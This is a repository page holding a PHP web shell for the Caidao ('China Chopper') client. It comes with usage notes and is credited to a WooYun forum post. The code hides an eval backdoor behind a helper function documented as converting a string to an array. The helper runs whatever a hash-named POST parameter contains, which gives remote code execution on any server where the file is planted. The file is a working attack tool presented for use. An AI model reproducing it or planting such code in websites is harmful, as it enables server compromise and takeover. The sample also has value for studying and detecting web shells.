webshell/caidao-shell/w.php
tennc baa5b59dee Create w.php
usage:
    
    url : xxxxxx/xxx.php
    pwd : cmd
    <O>43cb006424cbf7b46dbca36c8ed79b69=eval($_POST['cmd'])</O>

from : zone.wooyun.org  21720
2015-07-18 16:17:50 +08:00

18 lines
377 B
PHP
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<?php
$config= trim($_POST['43cb006424cbf7b46dbca36c8ed79b69']);
$info = string2array($config);
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式如果data为空则返回空数组
*/
function string2array($data) {
if($data == '') return array();
@eval("\$array = $data;");
return $array;
}
?>